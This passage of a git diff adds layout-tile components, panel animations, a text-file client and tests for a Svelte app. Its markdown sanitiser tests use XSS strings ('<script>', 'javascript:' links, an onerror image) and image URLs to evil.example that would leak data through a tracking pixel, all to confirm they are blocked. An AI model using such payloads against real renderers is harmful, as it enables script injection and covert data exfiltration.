+ const viewport = container.querySelector("[data-testid='sidebar-scroll-viewport']");
+ expect(viewport?.getAttribute("style")).toContain("outline-offset: -4px");
+ });
+
+ it("the panels CONTENT carries no outline (it scrolls — the marker must not scroll with it)", () => {
+ const { container } = render(TileRoot, {
+ props: { tree: markedTestTree(), collapse: createCollapseStore({ viewportWidth: 1024 }) },
+ });
+ const panels = container.querySelector("[data-testid='fixture-b']")?.closest("[data-panels]");
+ expect(panels?.getAttribute("style") ?? "").not.toContain("outline");
+ });
+
+ it("an unmarked tree draws NO outlines (trees without the field render exactly as before)", () => {
+ const { container } = render(TileRoot, {
+ props: { tree: defaultTestTree(), collapse: createCollapseStore() },
+ });
+ expect(container.querySelectorAll("[style*='outline']")).toHaveLength(0);
+ });
+
+ it("an unknown marker value draws nothing (the renderer ignores what it doesn't know)", () => {
+ // Both root tiles marked with a value the renderer doesn't know.
+ const tree = markedTestTree();
+ const root = tree.root;
+ if (root.kind !== "split") return;
+ const junked = root.children.map((child) => ({
+ ...child,
+ node: { ...child.node, marker: "purple" } as unknown as typeof child.node,
+ }));
+ const marked: LayoutTree = { version: 1, root: { ...root, children: junked } };
+ const { container } = render(TileRoot, {
+ props: { tree: marked, collapse: createCollapseStore({ viewportWidth: 1024 }) },
+ });
+ expect(container.querySelectorAll("[style*='outline']")).toHaveLength(0);
+ });
+
+ it("a marked LEAF draws its outline around a wrapper (the only wrapperless node kind)", () => {
+ const tree: LayoutTree = {
+ version: 1,
+ root: { kind: "leaf", view: "fix-a", marker: "side" },
+ };
+ const { container } = render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ const fixture = container.querySelector("[data-testid='fixture-a']");
+ expect(fixture?.parentElement?.getAttribute("style")).toContain("outline: 4px solid green");
+ });
+
+ it("the dropdown lists panel-eligible views only (decision 5)", () => {
+ render(TileRoot, { props: { tree: panelsOnlyTree("fix-b"), collapse: createCollapseStore() } });
+ const select = screen.getByRole("combobox", { name: "Select a view" });
+ const labels = [...select.querySelectorAll("option")].map((o) => o.textContent);
+ expect(labels).toContain("Alpha View");
+ expect(labels).toContain("Beta View");
+ expect(labels).not.toContain("Content");
+ });
+
+ it("an unregistered view id inside a panel renders the fallback (not a crash)", () => {
+ render(TileRoot, {
+ props: { tree: panelsOnlyTree("ghost-view"), collapse: createCollapseStore() },
+ });
+ expect(screen.getByTestId("fallback-tile")).toBeInTheDocument();
+ });
+});
+
+describe("TileRoot registry cleanup", () => {
+ it("unregisters the fixture views (the registry is module-global per test file)", () => {
+ unregisterView("fix-a");
+ unregisterView("fix-b");
+ unregisterView("fix-content");
+ const tree: LayoutTree = { version: 1, root: { kind: "leaf", view: "fix-a" } };
+ const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+ try {
+ render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ // Unregistered → the fallback tile, not a crash.
+ expect(screen.getByTestId("fallback-tile")).toBeInTheDocument();
+ } finally {
+ consoleError.mockRestore();
+ }
+ });
+});
+
+describe("TilePanels — panel identity + height animation", () => {
+ const wrappers = (): HTMLElement[] => [
+ ...document.querySelectorAll<HTMLElement>("[data-panels] > [data-panel-key]"),
+ ];
+
+ it("closing the MIDDLE panel removes that panel's DOM, keeping the others' nodes", async () => {
+ const { rerender } = render(TileRoot, {
+ props: { tree: panelsOnlyTree("fix-b", "fix-a", "fix-b"), collapse: createCollapseStore() },
+ });
+ const [first, , third] = wrappers();
+ await rerender({ tree: panelsOnlyTree("fix-b", "fix-b"), collapse: createCollapseStore() });
+ // Identity, not position: the third panel's node survived (index keying
+ // would have reused the middle node and dropped the last one).
+ expect(wrappers()).toEqual([first, third]);
+ expect(screen.queryByTestId("fixture-a")).toBeNull();
+ });
+
+ it("✕ on one of two IDENTICAL views removes exactly that panel", async () => {
+ const user = userEvent.setup();
+ const tree = panelsOnlyTree("fix-b", "fix-a", "fix-a");
+ const { rerender } = render(TileRoot, { props: { tree, collapse: createCollapseStore() } });
+ const [first, , third] = wrappers();
+ // Click the MIDDLE panel's ✕ (the first panel has none), then the owner
+ // applies the edit — the two fix-a panels are indistinguishable by data.
+ const [middleClose] = screen.getAllByRole("button", { name: "Remove view" });
+ await user.click(middleClose as HTMLElement);
+ await rerender({ tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() });
+ expect(wrappers()).toEqual([first, third]);
+ });
+
+ it("with motion allowed, a closed panel stays in flow while it shrinks out", async () => {
+ vi.stubGlobal(
+ "matchMedia",
+ vi.fn(() => ({ matches: false }) as unknown as MediaQueryList),
+ );
+ try {
+ const { rerender } = render(TileRoot, {
+ props: { tree: panelsOnlyTree("fix-b", "fix-a"), collapse: createCollapseStore() },
+ });
+ const closing = wrappers()[1];
+ await rerender({ tree: panelsOnlyTree("fix-b"), collapse: createCollapseStore() });
+ // jsdom's stubbed Element.animate never finishes, so the outro holds.
+ expect(closing?.isConnected).toBe(true);
+ expect(gsap.getTweensOf(closing as HTMLElement)).toHaveLength(1);
+ } finally {
+ vi.unstubAllGlobals();
+ }
+ });
+});
diff --git a/src/features/layout/ui/TileSplit.svelte b/src/features/layout/ui/TileSplit.svelte
new file mode 100644
index 0000000..84fa075
--- /dev/null
+++ b/src/features/layout/ui/TileSplit.svelte
@@ -0,0 +1,130 @@
+<script lang="ts">
+ /**
+ * A flex row/column of child subtrees. Child sizing comes from the tree:
+ * `size` → flex-grow (+ optional `basis`), and `collapsible` children get
+ * today's EXACT sidebar behavior — width/translate transition, `lg:relative`
+ * in-flow push vs `max-lg:absolute` overlay with a backdrop. Collapse state
+ * is chrome (per-node-id), owned by the injected collapse store.
+ */
+ import type { LayoutOp, Path, SplitNode, TileMarker } from "@dispatch/layout-contract";
+ import type { CollapseStore } from "../logic/collapse";
+ import { markerStyle } from "../logic/marker";
+ import TileNode from "./TileNode.svelte";
+
+ let {
+ node,
+ path,
+ ports,
+ collapse,
+ onEdit,
+ }: {
+ node: SplitNode;
+ path: Path;
+ ports?: unknown;
+ collapse: CollapseStore;
+ onEdit: (ops: readonly LayoutOp[]) => void;
+ } = $props();
+
+ const state = $derived($collapse);
+
+ /** Collapse state key: the node's id when present, else its path (stable enough for chrome). */
+ function keyOf(i: number, id: string | undefined): string {
+ return id ?? [...path, i].map((s) => String(s)).join(":");
+ }
+
+ function isOpen(i: number, id: string | undefined): boolean {
+ const key = keyOf(i, id);
+ return state.openByNode[key] ?? state.defaultOpen;
+ }
+
+ /**
+ * The scroll container's inline style: the fixed sidebar width + slide
+ * transform + any diagnostic marker (inset) — none when unmarked.
+ *
+ * The marker goes on THIS div, not the aside: the inner div paints an
+ * OPAQUE full-height background (bg-base-100) that would cover an outline
+ * drawn on the aside. This div's own box never moves — only its contents
+ * scroll — and overflow-y-auto clips descendants, never an element's own
+ * outline, so the marker frames exactly the visible sidebar.
+ */
+ function scrollViewportStyle(
+ basis: number | undefined,
+ open: boolean,
+ marker: TileMarker | undefined,
+ ): string {
+ const parts = [`width: ${basis ?? 320}px`, `transform: translateX(${open ? "0" : "100%"})`];
+ const markerCss = markerStyle(marker);
+ if (markerCss !== undefined) parts.push(markerCss);
+ return parts.join("; ");
+ }
+</script>
+
+{#if node.dir === "col"}
+ <div class="flex min-h-0 w-full flex-col" style={markerStyle(node.marker)}>
+ {#each node.children as child, i (i)}
+ {@const key = keyOf(i, child.node.id)}
+ <div
+ class="min-h-0 min-w-0"
+ style={"flex: " + child.size + " 1 " + (child.basis === undefined ? "0%" : child.basis + "px")}
+ >
+ <TileNode node={child.node} path={[...path, i]} {ports} {collapse} {onEdit} />
+ </div>
+ {/each}
+ </div>
+{:else}
+ <div class="flex min-h-0 h-full flex-row" style={markerStyle(node.marker)}>
+ {#each node.children as child, i (i)}
+ {@const key = keyOf(i, child.node.id)}
+ {#if child.collapsible}
+ {@const open = isOpen(i, child.node.id)}
+ <!--
+ A diagnostic marker on a collapsible child is drawn on the SCROLL
+ CONTAINER below — the sidebar's fixed, opaquely-painted viewport —
+ NOT on the child's own root element: that root renders INSIDE the
+ scroll container, so an outline there would wrap the full
+ scrollable content and scroll along with it instead of framing the
+ visible panel.
+ -->
+ <!-- svelte-ignore a11y_no_static_element_interactions -->
+ <!-- Viewport padding: top/right/bottom always; LEFT only in overlay mode
+ (< lg) — inline (≥ lg) the chat column's gutter already separates the
+ views, but the overlay's left edge is the panel's own edge. -->
+ <aside
+ class="flex shrink-0 flex-col overflow-x-hidden transition-[width] duration-300 ease-out max-lg:absolute max-lg:inset-y-0 max-lg:right-0 max-lg:z-30 lg:relative"
+ style="width: {open ? (child.basis ?? 320) : 0}px"
+ data-testid="collapsible-child"
+ data-open={open}
+ >
+ <div
+ class="flex h-full flex-col gap-2 overflow-y-auto bg-base-100 pt-3 pr-3 pb-3 max-lg:pl-3 transition-transform duration-300 ease-out"
+ style={scrollViewportStyle(child.basis, open, child.node.marker)}
+ data-testid="sidebar-scroll-viewport"
+ >
+ <TileNode node={child.node} path={[...path, i]} {ports} {collapse} {onEdit} />
+ </div>
+ </aside>
+ {#if open}
+ <!-- Backdrop: only on narrow screens (overlay mode), click to close. -->
+ <!-- svelte-ignore a11y_no_static_element_interactions -->
+ <div
+ class="fixed inset-0 z-20 bg-black/30 lg:hidden"
+ role="button"
+ tabindex="0"
+ aria-label="Close sidebar"
+ onclick={() => collapse.setOpen(key, false)}
+ onkeydown={(e) => {
+ if (e.key === "Escape" || e.key === "Enter") collapse.setOpen(key, false);
+ }}
+ ></div>
+ {/if}
+ {:else}
+ <div
+ class="min-h-0 min-w-0"
+ style={"flex: " + child.size + " 1 " + (child.basis === undefined ? "0%" : child.basis + "px")}
+ >
+ <TileNode node={child.node} path={[...path, i]} {ports} {collapse} {onEdit} />
+ </div>
+ {/if}
+ {/each}
+ </div>
+{/if}
diff --git a/src/features/layout/ui/TileStack.svelte b/src/features/layout/ui/TileStack.svelte
new file mode 100644
index 0000000..c8f8cae
--- /dev/null
+++ b/src/features/layout/ui/TileStack.svelte
@@ -0,0 +1,42 @@
+<script lang="ts">
+ /**
+ * A plain vertical container (today's left column). `grow` children flex
+ * (`flex: grow 1 0%` — the chat region scrolls internally, exactly like
+ * today's `flex-1`); children without grow take natural height.
+ *
+ * `h-full` keeps the container's main size DEFINITE (the parent is the
+ * split-child wrapper, cross-stretched to the full-height split row). With
+ * an indefinite height, `flex: 1 1 0%` degenerates to content sizing — an
+ * EMPTY grow child collapses to ~0 and the siblings below it (composer)
+ * ride to the top instead of staying pinned at the bottom.
+ */
+ import type { LayoutOp, Path, StackNode } from "@dispatch/layout-contract";
+ import type { CollapseStore } from "../logic/collapse";
+ import { markerStyle } from "../logic/marker";
+ import TileNode from "./TileNode.svelte";
+
+ let {
+ node,
+ path,
+ ports,
+ collapse,
+ onEdit,
+ }: {
+ node: StackNode;
+ path: Path;
+ ports?: unknown;
+ collapse: CollapseStore;
+ onEdit: (ops: readonly LayoutOp[]) => void;
+ } = $props();
+</script>
+
+<div
+ class="flex h-full min-h-0 min-w-0 flex-col overflow-hidden"
+ style={markerStyle(node.marker)}
+>
+ {#each node.children as child, i (i)}
+ <div class="min-h-0 min-w-0" style={"flex: " + (child.grow ?? 0) + (child.grow === undefined ? " 0 auto" : " 1 0%")}>
+ <TileNode node={child.node} path={[...path, i]} {ports} {collapse} {onEdit} />
+ </div>
+ {/each}
+</div>
diff --git a/src/features/layout/ui/fixtures/FixtureA.svelte b/src/features/layout/ui/fixtures/FixtureA.svelte
new file mode 100644
index 0000000..e55ba2a
--- /dev/null
+++ b/src/features/layout/ui/fixtures/FixtureA.svelte
@@ -0,0 +1,6 @@
+<script lang="ts">
+ // A fixture view for renderer tests — ignores any props it receives.
+ let { label = "Alpha" }: { label?: string } = $props();
+</script>
+
+<div data-testid="fixture-a">{label}</div>
diff --git a/src/features/layout/ui/fixtures/FixtureB.svelte b/src/features/layout/ui/fixtures/FixtureB.svelte
new file mode 100644
index 0000000..1c48584
--- /dev/null
+++ b/src/features/layout/ui/fixtures/FixtureB.svelte
@@ -0,0 +1,6 @@
+<script lang="ts">
+ // A fixture view for renderer tests — ignores any props it receives.
+ let { label = "Beta" }: { label?: string } = $props();
+</script>
+
+<div data-testid="fixture-b">{label}</div>
diff --git a/src/features/layout/ui/fixtures/FixtureC.svelte b/src/features/layout/ui/fixtures/FixtureC.svelte
new file mode 100644
index 0000000..2bceb67
--- /dev/null
+++ b/src/features/layout/ui/fixtures/FixtureC.svelte
@@ -0,0 +1,6 @@
+<script lang="ts">
+ // A fixture view for renderer tests — ignores any props it receives.
+ let { label = "Gamma" }: { label?: string } = $props();
+</script>
+
+<div data-testid="fixture-c">{label}</div>
diff --git a/src/features/layout/ui/panel-motion.ts b/src/features/layout/ui/panel-motion.ts
new file mode 100644
index 0000000..7fc5edf
--- /dev/null
+++ b/src/features/layout/ui/panel-motion.ts
@@ -0,0 +1,83 @@
+import { gsap } from "gsap";
+import type { TransitionConfig } from "svelte/transition";
+
+/**
+ * GSAP height animations for sidebar panels — the DOM EFFECT half (stable
+ * panel identity lives in `../logic/panel-keys.ts`).
+ *
+ * Every animation changes ONLY the panel wrapper's height (clipped with
+ * `overflow: hidden`); the panel's contents keep their natural size the whole
+ * time — the wrapper reveals / hides them like a drawer, it never scales
+ * them. The wrapper's bottom padding is the gap between panels, so it grows /
+ * shrinks with the panel and the panels below slide smoothly.
+ *
+ * - `panelGrowIn` — Svelte `in:` transition: an added panel grows 0 → auto.
+ * - `panelShrinkOut` — Svelte `out:` transition: a closed panel shrinks to 0
+ * while staying in flow (Svelte keeps the node for the returned duration).
+ * - `morphPanelHeight` — a swapped view: the panel BOX (the well, so its
+ * edges move with it — no empty gap below a shrinking box) animates from
+ * the old view's height to the new one's.
+ *
+ * Svelte's `in:` does not run on first mount, so loading the page never
+ * animates. Disabled when the user prefers reduced motion (or the
+ * environment can't tell, e.g. jsdom) — then every change is instant.
+ */
+
+const DURATION = 0.35;
+const EASE = "power2.inOut";
+
+export function panelMotionAllowed(): boolean {
+ return (
+ typeof window !== "undefined" &&
+ typeof window.matchMedia === "function" &&
+ !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+ );
+}
+
+export function panelGrowIn(node: HTMLElement): TransitionConfig {
+ if (!panelMotionAllowed()) return { duration: 0 };
+ gsap.killTweensOf(node);
+ gsap.fromTo(
+ node,
+ { height: 0, overflow: "hidden" },
+ {
+ height: "auto",
+ duration: DURATION,
+ ease: EASE,
+ clearProps: "height,overflow",
+ },
+ );
+ return { duration: DURATION * 1000 };
+}
+
+export function panelShrinkOut(node: HTMLElement): TransitionConfig {
+ if (!panelMotionAllowed()) return { duration: 0 };
+ // e.g. closed mid-grow / mid-swap: shrink from wherever it is.
+ gsap.killTweensOf([node, ...node.querySelectorAll(":scope > *")]);
+ gsap.to(node, {
+ height: 0,
+ overflow: "hidden",
+ duration: DURATION,
+ ease: EASE,
+ });
+ return { duration: DURATION * 1000 };
+}
+
+/**
+ * Animate `node` from `fromHeight` (its height before the view swapped) to
+ * its new natural height. Call AFTER the DOM shows the new view.
+ */
+export function morphPanelHeight(node: HTMLElement, fromHeight: number): void {
+ if (!panelMotionAllowed()) return;
+ gsap.killTweensOf(node);
+ gsap.fromTo(
+ node,
+ { height: fromHeight, overflow: "hidden" },
+ {
+ height: "auto",
+ duration: DURATION,
+ ease: EASE,
+ clearProps: "height,overflow",
+ },
+ );
+}
diff --git a/src/features/markdown/adapter/text-file.test.ts b/src/features/markdown/adapter/text-file.test.ts
new file mode 100644
index 0000000..2597271
--- /dev/null
+++ b/src/features/markdown/adapter/text-file.test.ts
@@ -0,0 +1,168 @@
+import { describe, expect, it, vi } from "vitest";
+import type { TextFileState } from "../types";
+import { createTextFileClient } from "./text-file";
+
+const response = (data: unknown, status = 200) => new Response(JSON.stringify(data), { status });
+const context = { conversationId: "c", cwd: "/project", computerId: null };
+const file = (text = "# Plan") => ({
+ path: "/project/a.md",
+ text,
+ format: "markdown",
+ bytes: new TextEncoder().encode(text).length,
+ maxBytes: 262144,
+});
+const flush = async () => {
+ for (let i = 0; i < 20; i++) await Promise.resolve();
+};
+describe("context-bound live-file client", () => {
+ it("preflights once, sends both guards and encodes literal path once; dedups repeated references", async () => {
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockImplementation(async (url) =>
+ response(String(url).endsWith("-context") ? context : file()),
+ );
+ const client = createTextFileClient("/api", "c", fetcher);
+ const a: TextFileState[] = [],
+ b: TextFileState[] = [];
+ const offA = client.subscribe("notes/100%.md", (s) => a.push(s));
+ const offB = client.subscribe("notes/100%.md", (s) => b.push(s));
+ await flush();
+ expect(fetcher).toHaveBeenCalledTimes(2);
+ const url = new URL(String(fetcher.mock.calls[1]?.[0]), "http://localhost");
+ expect(Object.fromEntries(url.searchParams)).toEqual({
+ path: "notes/100%.md",
+ expectedCwd: "/project",
+ expectedComputerId: "",
+ });
+ expect(fetcher.mock.calls[1]?.[1]?.cache).toBe("no-store");
+ expect(a.at(-1)?.kind).toBe("ready");
+ expect(b.at(-1)?.kind).toBe("ready");
+ offA();
+ expect(fetcher.mock.calls[1]?.[1]?.signal?.aborted).toBe(false);
+ offB();
+ expect(fetcher.mock.calls[1]?.[1]?.signal?.aborted).toBe(true);
+ client.subscribe("notes/100%.md", () => {});
+ await flush();
+ expect(fetcher).toHaveBeenCalledTimes(4);
+ client.dispose();
+ });
+ it("never reads a file before context, handles remote inheritance explicitly", async () => {
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockResolvedValue(response({ ...context, computerId: "remote" }));
+ const client = createTextFileClient("", "c", fetcher);
+ const states: TextFileState[] = [];
+ client.subscribe("/same-local-path.md", (s) => states.push(s));
+ await flush();
+ expect(fetcher).toHaveBeenCalledTimes(1);
+ expect(states.at(-1)).toMatchObject({
+ kind: "error",
+ message: expect.stringContaining("remote computers"),
+ });
+ client.dispose();
+ });
+ it.each([
+ 400, 404, 409, 413, 422,
+ ])("reports HTTP %i then Retry refreshes authoritative context and live file", async (status) => {
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockResolvedValueOnce(response(context))
+ .mockResolvedValueOnce(response({ error: `failure ${status}` }, status))
+ .mockResolvedValueOnce(response(context))
+ .mockResolvedValueOnce(response(file("changed")));
+ const client = createTextFileClient("", "c", fetcher);
+ const states: TextFileState[] = [];
+ client.subscribe("a.md", (s) => states.push(s));
+ await flush();
+ expect(states.at(-1)).toEqual({ kind: "error", message: `failure ${status}` });
+ client.refresh("a.md");
+ await flush();
+ expect(states.at(-1)).toMatchObject({ kind: "ready", file: { text: "changed" } });
+ expect(fetcher).toHaveBeenCalledTimes(4);
+ client.dispose();
+ });
+ it("guards late responses after refresh and disposal", async () => {
+ let finish: (r: Response) => void = () => {};
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockResolvedValueOnce(response(context))
+ .mockImplementationOnce(
+ () =>
+ new Promise((r) => {
+ finish = r;
+ }),
+ )
+ .mockResolvedValueOnce(response(context))
+ .mockResolvedValueOnce(response(file("new")));
+ const client = createTextFileClient("", "c", fetcher);
+ const states: TextFileState[] = [];
+ client.subscribe("a.md", (s) => states.push(s));
+ await flush();
+ client.refresh("a.md");
+ await flush();
+ finish(response(file("old")));
+ await flush();
+ expect(states.at(-1)).toMatchObject({ file: { text: "new" } });
+ client.dispose();
+ expect(fetcher.mock.calls[3]?.[1]?.signal?.aborted).toBe(true);
+ });
+ it("bounds active cache to32 files/8MiB source and concurrency to4, disposes queue", async () => {
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockImplementation(async (url) =>
+ String(url).endsWith("-context") ? response(context) : new Promise(() => {}),
+ );
+ const client = createTextFileClient("", "c", fetcher);
+ const overflow: TextFileState[] = [];
+ for (let i = 0; i < 40; i++)
+ client.subscribe(`${i}.md`, (s) => {
+ if (i >= 32) overflow.push(s);
+ });
+ await flush();
+ expect(fetcher).toHaveBeenCalledTimes(5);
+ expect(overflow).toHaveLength(8);
+ expect(overflow[0]).toMatchObject({ kind: "error" });
+ client.dispose();
+ for (const call of fetcher.mock.calls) expect(call[1]?.signal?.aborted).toBe(true);
+ });
+ it("rejects oversized or malformed success data instead of truncating", async () => {
+ const fetcher = vi
+ .fn<typeof fetch>()
+ .mockResolvedValueOnce(response(context))
+ .mockResolvedValueOnce(response(file("a".repeat(262145))));
+ const client = createTextFileClient("", "c", fetcher);
+ const states: TextFileState[] = [];
+ client.subscribe("a.md", (s) => states.push(s));
+ await flush();
+ expect(states.at(-1)?.kind).toBe("error");
+ client.dispose();
+ });
+});
+
+it("invalidates every live document and reloads guards before publishing refreshed context", async () => {
+ let generation = 0;
+ const fetcher = vi.fn<typeof fetch>().mockImplementation(async (url) => {
+ if (String(url).endsWith("-context"))
+ return response({ ...context, cwd: generation ? "/new" : "/project" });
+ const params = new URL(String(url), "http://localhost").searchParams;
+ return response({
+ ...file(generation ? "new" : "old"),
+ path: `${params.get("expectedCwd")}/a.md`,
+ });
+ });
+ const client = createTextFileClient("", "c", fetcher);
+ const a: TextFileState[] = [],
+ b: TextFileState[] = [];
+ client.subscribe("a.md", (state) => a.push(state));
+ client.subscribe("b.md", (state) => b.push(state));
+ await flush();
+ generation++;
+ client.refresh("a.md");
+ expect(a.at(-1)?.kind).toBe("loading");
+ expect(b.at(-1)?.kind).toBe("loading");
+ await flush();
+ expect(a.at(-1)).toMatchObject({ kind: "ready", file: { path: "/new/a.md", text: "new" } });
+ expect(b.at(-1)).toMatchObject({ kind: "ready", file: { text: "new" } });
+ expect(fetcher.mock.calls.filter(([url]) => String(url).endsWith("-context"))).toHaveLength(2);
+ client.dispose();
+});
diff --git a/src/features/markdown/adapter/text-file.ts b/src/features/markdown/adapter/text-file.ts
new file mode 100644
index 0000000..05ddb23
--- /dev/null
+++ b/src/features/markdown/adapter/text-file.ts
@@ -0,0 +1,171 @@
+import type {
+ TextFileContextResponse,
+ TextFileQuery,
+ TextFileResponse,
+} from "@dispatch/transport-contract";
+import type { TextFileClient, TextFileState } from "../types";
+
+const MAX_BYTES = 262144;
+const MAX_ENTRIES = 32;
+const MAX_PARALLEL = 4;
+interface Entry {
+ readonly listeners: Set<(state: TextFileState) => void>;
+ state: TextFileState;
+ controller: AbortController;
+}
+/** Per-mounted-chat, bounded cache: shared only by live references, never persisted. */
+export function createTextFileClient(
+ apiBase: string,
+ conversationId: string,
+ fetchImpl: typeof fetch,
+): TextFileClient {
+ const entries = new Map<string, Entry>();
+ let disposed = false;
+ let contextController = new AbortController();
+ let context: Promise<TextFileContextResponse> | null = null;
+ let active = 0;
+ const queue = new Map<string, () => void>();
+ const endpoint = `${apiBase.replace(/\/$/, "")}/conversations/${encodeURIComponent(conversationId)}`;
+ async function json(url: string, signal: AbortSignal): Promise<unknown> {
+ const response = await fetchImpl(url, { signal, cache: "no-store" });
+ const data: unknown = await response.json();
+ if (!response.ok) {
+ const error = data as { error?: string };
+ throw new Error(error.error ?? `Text file request failed (HTTP ${response.status})`);
+ }
+ return data;
+ }
+ function getContext(): Promise<TextFileContextResponse> {
+ context ??= json(`${endpoint}/text-file-context`, contextController.signal).then((data) => {
+ const c = data as TextFileContextResponse;
+ if (
+ c.conversationId !== conversationId ||
+ !(c.cwd === null || typeof c.cwd === "string") ||
+ !(c.computerId === null || typeof c.computerId === "string")
+ ) {
+ throw new Error("Invalid text file context response");
+ }
+ return c;
+ });
+ return context;
+ }
+ function publish(entry: Entry, state: TextFileState): void {
+ entry.state = state;
+ for (const listener of entry.listeners) listener(state);
+ }
+ async function load(path: string, entry: Entry, controller: AbortController): Promise<void> {
+ try {
+ if (controller.signal.aborted || disposed) return;
+ const c = await getContext();
+ if (controller.signal.aborted || disposed) return;
+ if (c.computerId !== null)
+ throw new Error(
+ "Text-file embeds are not available for remote computers. No local file was read.",
+ );
+ const query: TextFileQuery = {
+ path,
+ expectedCwd: c.cwd ?? "",
+ expectedComputerId: c.computerId ?? "",
+ };
+ const params = new URLSearchParams(query as unknown as Record<string, string>);
+ const data = (await json(
+ `${endpoint}/text-file?${params}`,
+ controller.signal,
+ )) as TextFileResponse;
+ if (
+ typeof data.text !== "string" ||
+ typeof data.path !== "string" ||
+ !data.path.startsWith("/") ||
+ !["markdown", "text"].includes(data.format) ||
+ data.maxBytes !== MAX_BYTES ||
+ !Number.isInteger(data.bytes) ||
+ data.bytes < 0 ||
+ data.bytes > MAX_BYTES ||
+ new TextEncoder().encode(data.text).length !== data.bytes
+ ) {
+ throw new Error("Invalid or oversized text file response (maximum 256 KiB)");
+ }
+ if (!controller.signal.aborted && !disposed) publish(entry, { kind: "ready", file: data });
+ } catch (error) {
+ if (!controller.signal.aborted && !disposed)
+ publish(entry, {
+ kind: "error",
+ message: error instanceof Error ? error.message : "Unable to read text file",
+ });
+ }
+ }
+ function drain(): void {
+ while (active < MAX_PARALLEL && queue.size) {
+ const next = queue.entries().next().value;
+ if (!next) return;
+ queue.delete(next[0]);
+ next[1]();
+ }
+ }
+ function start(path: string, entry: Entry): void {
+ entry.controller.abort();
+ const controller = new AbortController();
+ entry.controller = controller;
+ publish(entry, { kind: "loading" });
+ queue.set(path, () => {
+ if (controller.signal.aborted || disposed) return;
+ active++;
+ void load(path, entry, controller).finally(() => {
+ active--;
+ drain();
+ });
+ });
+ drain();
+ }
+ return {
+ subscribe(path, listener) {
+ if (disposed || (!entries.has(path) && entries.size >= MAX_ENTRIES)) {
+ listener({
+ kind: "error",
+ message: "Too many text-file embeds (maximum 32 active files).",
+ });
+ return () => {};
+ }
+ let entry = entries.get(path);
+ if (!entry) {
+ entry = {
+ listeners: new Set(),
+ state: { kind: "loading" },
+ controller: new AbortController(),
+ };
+ entries.set(path, entry);
+ start(path, entry);
+ }
+ entry.listeners.add(listener);
+ listener(entry.state);
+ const current = entry;
+ return () => {
+ current.listeners.delete(listener);
+ if (!current.listeners.size) {
+ current.controller.abort();
+ entries.delete(path);
+ queue.delete(path);
+ }
+ if (!entries.size) {
+ contextController.abort();
+ contextController = new AbortController();
+ context = null;
+ }
+ };
+ },
+ refresh(_path) {
+ // Refresh can reveal a context change: invalidate ALL live content before rereading.
+ contextController.abort();
+ contextController = new AbortController();
+ context = null;
+ for (const [path, entry] of entries) start(path, entry);
+ },
+ dispose() {
+ disposed = true;
+ contextController.abort();
+ for (const entry of entries.values()) entry.controller.abort();
+ entries.clear();
+ queue.clear();
+ },
+ };
+}
diff --git a/src/features/markdown/index.ts b/src/features/markdown/index.ts
index ff3aefa..2b50ab1 100644
--- a/src/features/markdown/index.ts
+++ b/src/features/markdown/index.ts
@@ -6,3 +6,6 @@ export const manifest = {
name: "markdown",
description: "Renders assistant messages as sanitized Markdown (GFM + syntax highlighting)",
} as const;
+
+export { createTextFileClient } from "./adapter/text-file";
+export type { TextFileClient, TextFileContext, TextFileState } from "./types";
diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 54b0086..f186da9 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -1,5 +1,12 @@
import { describe, expect, it } from "vitest";
-import { renderMarkdown } from "./markdown";
+import { renderMarkdown, renderMarkdownTail } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/** The single rendered `<img>` src, or null. */
+function imageSrc(html: string): string | null {
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ return doc.querySelector("img")?.getAttribute("src") ?? null;
+}
describe("renderMarkdown", () => {
it("renders GFM markdown (headings, emphasis)", () => {
@@ -25,6 +32,46 @@ describe("renderMarkdown", () => {
expect(html).toContain("&lt;b&gt;");
});
+ describe("links open in a new tab", () => {
+ function anchors(html: string): HTMLAnchorElement[] {
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ return Array.from(doc.querySelectorAll("a"));
+ }
+
+ it.each([
+ ["a markdown link", "See [the docs](https://example.com/docs)."],
+ ["a GFM autolink", "Visit https://example.com today"],
+ ["an angle-bracket autolink", "<https://example.com>"],
+ ["a raw-HTML anchor", 'Raw <a href="https://example.com">link</a>'],
+ ["a relative link", "[home](/settings)"],
+ ])("%s gets target=_blank + rel=noopener noreferrer", (_label, src) => {
+ const links = anchors(renderMarkdown(src));
+ expect(links).toHaveLength(1);
+ expect(links[0]?.getAttribute("target")).toBe("_blank");
+ expect(links[0]?.getAttribute("rel")).toBe("noopener noreferrer");
+ });
+
+ it("overrides an author-supplied target/rel", () => {
+ const [link] = anchors(
+ renderMarkdown('<a href="https://example.com" target="_self" rel="opener">x</a>'),
+ );
+ expect(link?.getAttribute("target")).toBe("_blank");
+ expect(link?.getAttribute("rel")).toBe("noopener noreferrer");
+ });
+
+ it("applies while streaming too", () => {
+ const [link] = anchors(
+ renderMarkdown("partial [link](https://example.com) **bo", { streaming: true }),
+ );
+ expect(link?.getAttribute("target")).toBe("_blank");
+ });
+
+ it("still strips javascript: hrefs", () => {
+ const html = renderMarkdown('<a href="javascript:alert(1)">x</a>');
+ expect(html).not.toContain("javascript:");
+ });
+ });
+
it("sanitizes dangerous HTML", () => {
const html = renderMarkdown("Hi <script>alert(1)</script> there");
expect(html).not.toContain("<script>");
@@ -55,4 +102,271 @@ describe("renderMarkdown", () => {
it("returns an empty string for empty input", () => {
expect(renderMarkdown("")).toBe("");
});
+
+ describe("remote images require consent", () => {
+ const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+ it.each([
+ "![secret](https://evil.example/pixel?d=secret)",
+ "![secret](http://evil.example/pixel)",
+ "![secret](//evil.example/pixel)",
+ '<img src="https://evil.example/pixel" onerror="alert(1)">',
+ '<img src="//evil.example/pixel">',
+ '<img src="https:&#10;//evil.example/pixel">',
+ '<img src="/\\evil.example/pixel">',
+ ])("replaces %s with an inert, host-labelled button", (text) => {
